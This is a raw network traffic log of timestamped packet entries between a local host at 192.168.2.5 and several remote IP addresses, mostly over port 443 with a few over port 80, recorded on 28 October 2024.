Oct 28, 2024 18:43:30.349534035 CET	63510	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:30.349561930 CET	443	63510	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:30.349720001 CET	443	63511	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:30.350330114 CET	63510	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:30.350342035 CET	443	63510	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:30.350899935 CET	63511	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:30.350934029 CET	443	63511	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:30.351418972 CET	63511	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:30.351429939 CET	443	63511	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:30.375154018 CET	443	63487	172.217.18.1	192.168.2.5
Oct 28, 2024 18:43:30.375338078 CET	63487	443	192.168.2.5	172.217.18.1
Oct 28, 2024 18:43:30.375343084 CET	443	63487	172.217.18.1	192.168.2.5
Oct 28, 2024 18:43:30.382282972 CET	443	63513	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:30.393657923 CET	63513	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:30.393686056 CET	443	63513	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:30.394294024 CET	63513	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:30.394299030 CET	443	63513	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:30.419727087 CET	63515	443	192.168.2.5	172.64.41.3
Oct 28, 2024 18:43:30.419763088 CET	63516	443	192.168.2.5	172.64.41.3
Oct 28, 2024 18:43:30.422421932 CET	63500	443	192.168.2.5	108.156.60.50
Oct 28, 2024 18:43:30.422491074 CET	443	63500	108.156.60.50	192.168.2.5
Oct 28, 2024 18:43:30.422535896 CET	63500	443	192.168.2.5	108.156.60.50
Oct 28, 2024 18:43:30.426580906 CET	443	63487	172.217.18.1	192.168.2.5
Oct 28, 2024 18:43:30.426661968 CET	443	63487	172.217.18.1	192.168.2.5
Oct 28, 2024 18:43:30.426729918 CET	443	63487	172.217.18.1	192.168.2.5
Oct 28, 2024 18:43:30.426734924 CET	63487	443	192.168.2.5	172.217.18.1
Oct 28, 2024 18:43:30.426759005 CET	443	63487	172.217.18.1	192.168.2.5
Oct 28, 2024 18:43:30.426778078 CET	63487	443	192.168.2.5	172.217.18.1
Oct 28, 2024 18:43:30.429299116 CET	443	63487	172.217.18.1	192.168.2.5
Oct 28, 2024 18:43:30.429388046 CET	443	63487	172.217.18.1	192.168.2.5
Oct 28, 2024 18:43:30.429461956 CET	63487	443	192.168.2.5	172.217.18.1
Oct 28, 2024 18:43:30.429481030 CET	443	63487	172.217.18.1	192.168.2.5
Oct 28, 2024 18:43:30.429532051 CET	63487	443	192.168.2.5	172.217.18.1
Oct 28, 2024 18:43:30.444088936 CET	443	63514	172.64.41.3	192.168.2.5
Oct 28, 2024 18:43:30.444158077 CET	63514	443	192.168.2.5	172.64.41.3
Oct 28, 2024 18:43:30.444345951 CET	63514	443	192.168.2.5	172.64.41.3
Oct 28, 2024 18:43:30.444359064 CET	443	63514	172.64.41.3	192.168.2.5
Oct 28, 2024 18:43:30.445677996 CET	443	63487	172.217.18.1	192.168.2.5
Oct 28, 2024 18:43:30.455127001 CET	443	63487	172.217.18.1	192.168.2.5
Oct 28, 2024 18:43:30.455193043 CET	63487	443	192.168.2.5	172.217.18.1
Oct 28, 2024 18:43:30.455204010 CET	443	63487	172.217.18.1	192.168.2.5
Oct 28, 2024 18:43:30.458264112 CET	443	63505	40.126.31.71	192.168.2.5
Oct 28, 2024 18:43:30.458395004 CET	63505	443	192.168.2.5	40.126.31.71
Oct 28, 2024 18:43:30.466048956 CET	443	63509	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:30.466269016 CET	443	63509	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:30.466650009 CET	63509	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:30.469497919 CET	63509	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:30.469497919 CET	63509	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:30.469521999 CET	443	63509	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:30.469544888 CET	443	63509	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:30.474359035 CET	443	63508	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:30.474446058 CET	443	63508	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:30.474498987 CET	63508	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:30.477793932 CET	63505	443	192.168.2.5	40.126.31.71
Oct 28, 2024 18:43:30.477804899 CET	443	63505	40.126.31.71	192.168.2.5
Oct 28, 2024 18:43:30.478153944 CET	443	63505	40.126.31.71	192.168.2.5
Oct 28, 2024 18:43:30.478524923 CET	63505	443	192.168.2.5	40.126.31.71
Oct 28, 2024 18:43:30.478550911 CET	63505	443	192.168.2.5	40.126.31.71
Oct 28, 2024 18:43:30.478599072 CET	443	63505	40.126.31.71	192.168.2.5
Oct 28, 2024 18:43:30.479532957 CET	443	63515	172.64.41.3	192.168.2.5
Oct 28, 2024 18:43:30.479702950 CET	443	63510	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:30.479727030 CET	443	63515	172.64.41.3	192.168.2.5
Oct 28, 2024 18:43:30.479783058 CET	63515	443	192.168.2.5	172.64.41.3
Oct 28, 2024 18:43:30.479902029 CET	63515	443	192.168.2.5	172.64.41.3
Oct 28, 2024 18:43:30.479912043 CET	443	63515	172.64.41.3	192.168.2.5
Oct 28, 2024 18:43:30.479942083 CET	443	63510	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:30.480185986 CET	63510	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:30.480999947 CET	63523	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:30.481019020 CET	443	63523	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:30.481122971 CET	63523	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:30.481329918 CET	63508	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:30.481331110 CET	63508	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:30.481354952 CET	443	63508	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:30.481378078 CET	443	63508	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:30.481683969 CET	63510	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:30.481683969 CET	63510	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:30.481689930 CET	443	63510	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:30.481695890 CET	443	63510	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:30.482585907 CET	443	63516	172.64.41.3	192.168.2.5
Oct 28, 2024 18:43:30.482650042 CET	443	63516	172.64.41.3	192.168.2.5
Oct 28, 2024 18:43:30.482743979 CET	63516	443	192.168.2.5	172.64.41.3
Oct 28, 2024 18:43:30.482934952 CET	63516	443	192.168.2.5	172.64.41.3
Oct 28, 2024 18:43:30.482940912 CET	443	63516	172.64.41.3	192.168.2.5
Oct 28, 2024 18:43:30.483630896 CET	63523	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:30.483671904 CET	443	63523	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:30.484826088 CET	63524	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:30.484838009 CET	443	63524	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:30.485529900 CET	63525	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:30.485554934 CET	443	63525	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:30.485563040 CET	63524	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:30.485708952 CET	63524	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:30.485713005 CET	443	63511	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:30.485718012 CET	443	63524	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:30.485749960 CET	63525	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:30.485780954 CET	443	63511	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:30.485866070 CET	63511	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:30.485903978 CET	63525	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:30.485929012 CET	443	63525	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:30.486099005 CET	63511	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:30.486110926 CET	443	63511	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:30.486138105 CET	63511	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:30.486149073 CET	443	63511	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:30.488419056 CET	63526	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:30.488428116 CET	443	63526	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:30.488487005 CET	63526	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:30.488604069 CET	63526	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:30.488612890 CET	443	63526	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:30.495079041 CET	443	63487	172.217.18.1	192.168.2.5
Oct 28, 2024 18:43:30.495138884 CET	63487	443	192.168.2.5	172.217.18.1
Oct 28, 2024 18:43:30.495145082 CET	443	63487	172.217.18.1	192.168.2.5
Oct 28, 2024 18:43:30.536165953 CET	443	63513	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:30.536336899 CET	443	63513	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:30.536413908 CET	63513	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:30.537316084 CET	63513	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:30.537323952 CET	443	63513	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:30.537334919 CET	63513	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:30.537338972 CET	443	63513	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:30.540180922 CET	63527	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:30.540189028 CET	443	63527	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:30.540244102 CET	63527	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:30.540577888 CET	63527	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:30.540591002 CET	443	63527	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:30.549550056 CET	443	63487	172.217.18.1	192.168.2.5
Oct 28, 2024 18:43:30.549597979 CET	443	63487	172.217.18.1	192.168.2.5
Oct 28, 2024 18:43:30.549617052 CET	443	63487	172.217.18.1	192.168.2.5
Oct 28, 2024 18:43:30.549664021 CET	63487	443	192.168.2.5	172.217.18.1
Oct 28, 2024 18:43:30.549671888 CET	443	63487	172.217.18.1	192.168.2.5
Oct 28, 2024 18:43:30.549698114 CET	63487	443	192.168.2.5	172.217.18.1
Oct 28, 2024 18:43:30.549793959 CET	443	63506	40.126.31.71	192.168.2.5
Oct 28, 2024 18:43:30.549998999 CET	443	63487	172.217.18.1	192.168.2.5
Oct 28, 2024 18:43:30.550020933 CET	443	63487	172.217.18.1	192.168.2.5
Oct 28, 2024 18:43:30.550062895 CET	63487	443	192.168.2.5	172.217.18.1
Oct 28, 2024 18:43:30.550067902 CET	443	63487	172.217.18.1	192.168.2.5
Oct 28, 2024 18:43:30.550111055 CET	63487	443	192.168.2.5	172.217.18.1
Oct 28, 2024 18:43:30.551055908 CET	63506	443	192.168.2.5	40.126.31.71
Oct 28, 2024 18:43:30.551095963 CET	443	63506	40.126.31.71	192.168.2.5
Oct 28, 2024 18:43:30.553407907 CET	63506	443	192.168.2.5	40.126.31.71
Oct 28, 2024 18:43:30.553421021 CET	443	63506	40.126.31.71	192.168.2.5
Oct 28, 2024 18:43:30.553685904 CET	63506	443	192.168.2.5	40.126.31.71
Oct 28, 2024 18:43:30.553711891 CET	443	63506	40.126.31.71	192.168.2.5
Oct 28, 2024 18:43:30.565037012 CET	443	63487	172.217.18.1	192.168.2.5
Oct 28, 2024 18:43:30.574470043 CET	443	63487	172.217.18.1	192.168.2.5
Oct 28, 2024 18:43:30.574517965 CET	63487	443	192.168.2.5	172.217.18.1
Oct 28, 2024 18:43:30.574522018 CET	443	63487	172.217.18.1	192.168.2.5
Oct 28, 2024 18:43:30.614588022 CET	443	63487	172.217.18.1	192.168.2.5
Oct 28, 2024 18:43:30.614610910 CET	443	63487	172.217.18.1	192.168.2.5
Oct 28, 2024 18:43:30.614648104 CET	63487	443	192.168.2.5	172.217.18.1
Oct 28, 2024 18:43:30.614654064 CET	443	63487	172.217.18.1	192.168.2.5
Oct 28, 2024 18:43:30.614694118 CET	63487	443	192.168.2.5	172.217.18.1
Oct 28, 2024 18:43:30.666182041 CET	443	63487	172.217.18.1	192.168.2.5
Oct 28, 2024 18:43:30.666280031 CET	443	63487	172.217.18.1	192.168.2.5
Oct 28, 2024 18:43:30.666408062 CET	443	63487	172.217.18.1	192.168.2.5
Oct 28, 2024 18:43:30.666429043 CET	443	63487	172.217.18.1	192.168.2.5
Oct 28, 2024 18:43:30.666455984 CET	63487	443	192.168.2.5	172.217.18.1
Oct 28, 2024 18:43:30.666462898 CET	443	63487	172.217.18.1	192.168.2.5
Oct 28, 2024 18:43:30.666495085 CET	63487	443	192.168.2.5	172.217.18.1
Oct 28, 2024 18:43:30.669945002 CET	443	63487	172.217.18.1	192.168.2.5
Oct 28, 2024 18:43:30.669997931 CET	63487	443	192.168.2.5	172.217.18.1
Oct 28, 2024 18:43:30.670001984 CET	443	63487	172.217.18.1	192.168.2.5
Oct 28, 2024 18:43:30.670041084 CET	443	63487	172.217.18.1	192.168.2.5
Oct 28, 2024 18:43:30.670063972 CET	443	63487	172.217.18.1	192.168.2.5
Oct 28, 2024 18:43:30.670100927 CET	63487	443	192.168.2.5	172.217.18.1
Oct 28, 2024 18:43:30.670105934 CET	443	63487	172.217.18.1	192.168.2.5
Oct 28, 2024 18:43:30.670146942 CET	63487	443	192.168.2.5	172.217.18.1
Oct 28, 2024 18:43:30.670150995 CET	443	63487	172.217.18.1	192.168.2.5
Oct 28, 2024 18:43:30.670160055 CET	443	63487	172.217.18.1	192.168.2.5
Oct 28, 2024 18:43:30.670202971 CET	63487	443	192.168.2.5	172.217.18.1
Oct 28, 2024 18:43:30.670438051 CET	63487	443	192.168.2.5	172.217.18.1
Oct 28, 2024 18:43:30.670443058 CET	443	63487	172.217.18.1	192.168.2.5
Oct 28, 2024 18:43:30.803910971 CET	443	63505	40.126.31.71	192.168.2.5
Oct 28, 2024 18:43:30.833990097 CET	63528	443	192.168.2.5	172.64.41.3
Oct 28, 2024 18:43:30.834028006 CET	443	63528	172.64.41.3	192.168.2.5
Oct 28, 2024 18:43:30.834095001 CET	63528	443	192.168.2.5	172.64.41.3
Oct 28, 2024 18:43:30.834285975 CET	63529	443	192.168.2.5	172.64.41.3
Oct 28, 2024 18:43:30.834302902 CET	443	63529	172.64.41.3	192.168.2.5
Oct 28, 2024 18:43:30.834475994 CET	63529	443	192.168.2.5	172.64.41.3
Oct 28, 2024 18:43:30.834924936 CET	63528	443	192.168.2.5	172.64.41.3
Oct 28, 2024 18:43:30.834939957 CET	443	63528	172.64.41.3	192.168.2.5
Oct 28, 2024 18:43:30.835038900 CET	63529	443	192.168.2.5	172.64.41.3
Oct 28, 2024 18:43:30.835052967 CET	443	63529	172.64.41.3	192.168.2.5
Oct 28, 2024 18:43:30.918838024 CET	443	63505	40.126.31.71	192.168.2.5
Oct 28, 2024 18:43:30.918903112 CET	63505	443	192.168.2.5	40.126.31.71
Oct 28, 2024 18:43:30.919785023 CET	63505	443	192.168.2.5	40.126.31.71
Oct 28, 2024 18:43:30.919792891 CET	443	63505	40.126.31.71	192.168.2.5
Oct 28, 2024 18:43:30.989964008 CET	63530	443	192.168.2.5	172.64.41.3
Oct 28, 2024 18:43:30.989996910 CET	443	63530	172.64.41.3	192.168.2.5
Oct 28, 2024 18:43:30.990072012 CET	63530	443	192.168.2.5	172.64.41.3
Oct 28, 2024 18:43:30.990387917 CET	63531	443	192.168.2.5	172.64.41.3
Oct 28, 2024 18:43:30.990401030 CET	443	63531	172.64.41.3	192.168.2.5
Oct 28, 2024 18:43:30.990479946 CET	63531	443	192.168.2.5	172.64.41.3
Oct 28, 2024 18:43:30.990576029 CET	63530	443	192.168.2.5	172.64.41.3
Oct 28, 2024 18:43:30.990586996 CET	443	63530	172.64.41.3	192.168.2.5
Oct 28, 2024 18:43:30.990781069 CET	63531	443	192.168.2.5	172.64.41.3
Oct 28, 2024 18:43:30.990792036 CET	443	63531	172.64.41.3	192.168.2.5
Oct 28, 2024 18:43:31.224714041 CET	443	63523	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:31.225720882 CET	63523	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:31.225753069 CET	443	63523	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:31.226218939 CET	63523	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:31.226229906 CET	443	63523	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:31.226254940 CET	443	63526	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:31.226547956 CET	63526	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:31.226562023 CET	443	63526	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:31.227013111 CET	63526	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:31.227018118 CET	443	63526	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:31.227507114 CET	443	63525	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:31.227804899 CET	443	63524	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:31.227936983 CET	63525	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:31.227951050 CET	443	63525	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:31.228261948 CET	63524	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:31.228274107 CET	443	63524	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:31.228660107 CET	63524	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:31.228663921 CET	443	63524	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:31.228734016 CET	63525	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:31.228738070 CET	443	63525	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:31.270037889 CET	443	63527	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:31.271861076 CET	63527	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:31.271874905 CET	443	63527	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:31.272897005 CET	63527	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:31.272902966 CET	443	63527	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:31.279356003 CET	63532	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:31.279369116 CET	443	63532	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:31.279421091 CET	63532	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:31.279841900 CET	63532	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:31.279855013 CET	443	63532	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:31.281234980 CET	63533	443	192.168.2.5	23.218.232.160
Oct 28, 2024 18:43:31.281249046 CET	443	63533	23.218.232.160	192.168.2.5
Oct 28, 2024 18:43:31.281650066 CET	63533	443	192.168.2.5	23.218.232.160
Oct 28, 2024 18:43:31.281851053 CET	63533	443	192.168.2.5	23.218.232.160
Oct 28, 2024 18:43:31.281862974 CET	443	63533	23.218.232.160	192.168.2.5
Oct 28, 2024 18:43:31.354223967 CET	443	63523	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:31.355249882 CET	443	63523	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:31.355370045 CET	63523	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:31.355436087 CET	63523	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:31.355436087 CET	63523	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:31.355468988 CET	443	63523	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:31.355525970 CET	443	63523	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:31.358179092 CET	63534	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:31.358212948 CET	443	63534	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:31.358362913 CET	63534	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:31.358659983 CET	63534	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:31.358673096 CET	443	63534	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:31.359702110 CET	443	63524	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:31.360543966 CET	443	63524	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:31.360605001 CET	63524	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:31.360646963 CET	443	63525	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:31.360656977 CET	63524	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:31.360657930 CET	63524	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:31.360677004 CET	443	63524	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:31.360702991 CET	443	63524	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:31.360790014 CET	443	63525	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:31.361829042 CET	63525	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:31.361861944 CET	63525	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:31.361866951 CET	443	63525	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:31.363760948 CET	63535	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:31.363830090 CET	443	63535	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:31.364068031 CET	63535	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:31.364887953 CET	63535	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:31.364917040 CET	443	63535	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:31.365323067 CET	63536	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:31.365335941 CET	443	63536	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:31.365396023 CET	63536	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:31.365688086 CET	63536	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:31.365699053 CET	443	63536	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:31.397047043 CET	443	63526	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:31.397563934 CET	443	63526	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:31.397705078 CET	63526	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:31.404665947 CET	443	63527	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:31.404752016 CET	63526	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:31.404752016 CET	63526	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:31.404779911 CET	443	63526	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:31.404802084 CET	443	63526	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:31.405225992 CET	443	63527	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:31.405286074 CET	63527	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:31.405416012 CET	63527	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:31.405424118 CET	443	63527	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:31.408691883 CET	63537	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:31.408718109 CET	443	63537	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:31.408803940 CET	63537	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:31.408917904 CET	63537	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:31.408922911 CET	443	63537	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:31.411700964 CET	63538	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:31.411715984 CET	443	63538	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:31.411782980 CET	63538	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:31.411923885 CET	63538	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:31.411933899 CET	443	63538	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:31.447895050 CET	443	63528	172.64.41.3	192.168.2.5
Oct 28, 2024 18:43:31.448121071 CET	63528	443	192.168.2.5	172.64.41.3
Oct 28, 2024 18:43:31.448132038 CET	443	63528	172.64.41.3	192.168.2.5
Oct 28, 2024 18:43:31.448498011 CET	443	63528	172.64.41.3	192.168.2.5
Oct 28, 2024 18:43:31.449438095 CET	63528	443	192.168.2.5	172.64.41.3
Oct 28, 2024 18:43:31.449518919 CET	443	63528	172.64.41.3	192.168.2.5
Oct 28, 2024 18:43:31.449541092 CET	443	63529	172.64.41.3	192.168.2.5
Oct 28, 2024 18:43:31.449721098 CET	63529	443	192.168.2.5	172.64.41.3
Oct 28, 2024 18:43:31.449728966 CET	443	63529	172.64.41.3	192.168.2.5
Oct 28, 2024 18:43:31.450058937 CET	443	63529	172.64.41.3	192.168.2.5
Oct 28, 2024 18:43:31.450448990 CET	63529	443	192.168.2.5	172.64.41.3
Oct 28, 2024 18:43:31.450511932 CET	443	63529	172.64.41.3	192.168.2.5
Oct 28, 2024 18:43:31.588735104 CET	443	63531	172.64.41.3	192.168.2.5
Oct 28, 2024 18:43:31.588941097 CET	63531	443	192.168.2.5	172.64.41.3
Oct 28, 2024 18:43:31.588948965 CET	443	63531	172.64.41.3	192.168.2.5
Oct 28, 2024 18:43:31.590050936 CET	443	63531	172.64.41.3	192.168.2.5
Oct 28, 2024 18:43:31.590107918 CET	63531	443	192.168.2.5	172.64.41.3
Oct 28, 2024 18:43:31.590457916 CET	63531	443	192.168.2.5	172.64.41.3
Oct 28, 2024 18:43:31.590522051 CET	443	63531	172.64.41.3	192.168.2.5
Oct 28, 2024 18:43:31.601088047 CET	63539	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:31.601140022 CET	443	63539	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:31.601316929 CET	63539	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:31.601969004 CET	63539	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:31.602001905 CET	443	63539	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:31.606523991 CET	443	63530	172.64.41.3	192.168.2.5
Oct 28, 2024 18:43:31.606834888 CET	63530	443	192.168.2.5	172.64.41.3
Oct 28, 2024 18:43:31.606848001 CET	443	63530	172.64.41.3	192.168.2.5
Oct 28, 2024 18:43:31.610400915 CET	443	63530	172.64.41.3	192.168.2.5
Oct 28, 2024 18:43:31.610500097 CET	63530	443	192.168.2.5	172.64.41.3
Oct 28, 2024 18:43:31.610778093 CET	63530	443	192.168.2.5	172.64.41.3
Oct 28, 2024 18:43:31.610944986 CET	443	63530	172.64.41.3	192.168.2.5
Oct 28, 2024 18:43:31.614856005 CET	63528	443	192.168.2.5	172.64.41.3
Oct 28, 2024 18:43:31.625319958 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:31.625403881 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:31.655340910 CET	443	63529	172.64.41.3	192.168.2.5
Oct 28, 2024 18:43:31.655693054 CET	63529	443	192.168.2.5	172.64.41.3
Oct 28, 2024 18:43:31.660068035 CET	63531	443	192.168.2.5	172.64.41.3
Oct 28, 2024 18:43:31.660078049 CET	443	63531	172.64.41.3	192.168.2.5
Oct 28, 2024 18:43:31.722261906 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:31.722661018 CET	63530	443	192.168.2.5	172.64.41.3
Oct 28, 2024 18:43:31.722673893 CET	443	63530	172.64.41.3	192.168.2.5
Oct 28, 2024 18:43:31.727686882 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:31.825031996 CET	63530	443	192.168.2.5	172.64.41.3
Oct 28, 2024 18:43:31.856192112 CET	63531	443	192.168.2.5	172.64.41.3
Oct 28, 2024 18:43:31.909631968 CET	443	63533	23.218.232.160	192.168.2.5
Oct 28, 2024 18:43:31.910176039 CET	63533	443	192.168.2.5	23.218.232.160
Oct 28, 2024 18:43:31.910185099 CET	443	63533	23.218.232.160	192.168.2.5
Oct 28, 2024 18:43:31.911251068 CET	443	63533	23.218.232.160	192.168.2.5
Oct 28, 2024 18:43:31.911305904 CET	63533	443	192.168.2.5	23.218.232.160
Oct 28, 2024 18:43:31.912338018 CET	63533	443	192.168.2.5	23.218.232.160
Oct 28, 2024 18:43:31.912406921 CET	443	63533	23.218.232.160	192.168.2.5
Oct 28, 2024 18:43:31.912563086 CET	63533	443	192.168.2.5	23.218.232.160
Oct 28, 2024 18:43:31.912570000 CET	443	63533	23.218.232.160	192.168.2.5
Oct 28, 2024 18:43:32.013669014 CET	63533	443	192.168.2.5	23.218.232.160
Oct 28, 2024 18:43:32.018167973 CET	443	63532	13.107.246.57	192.168.2.5
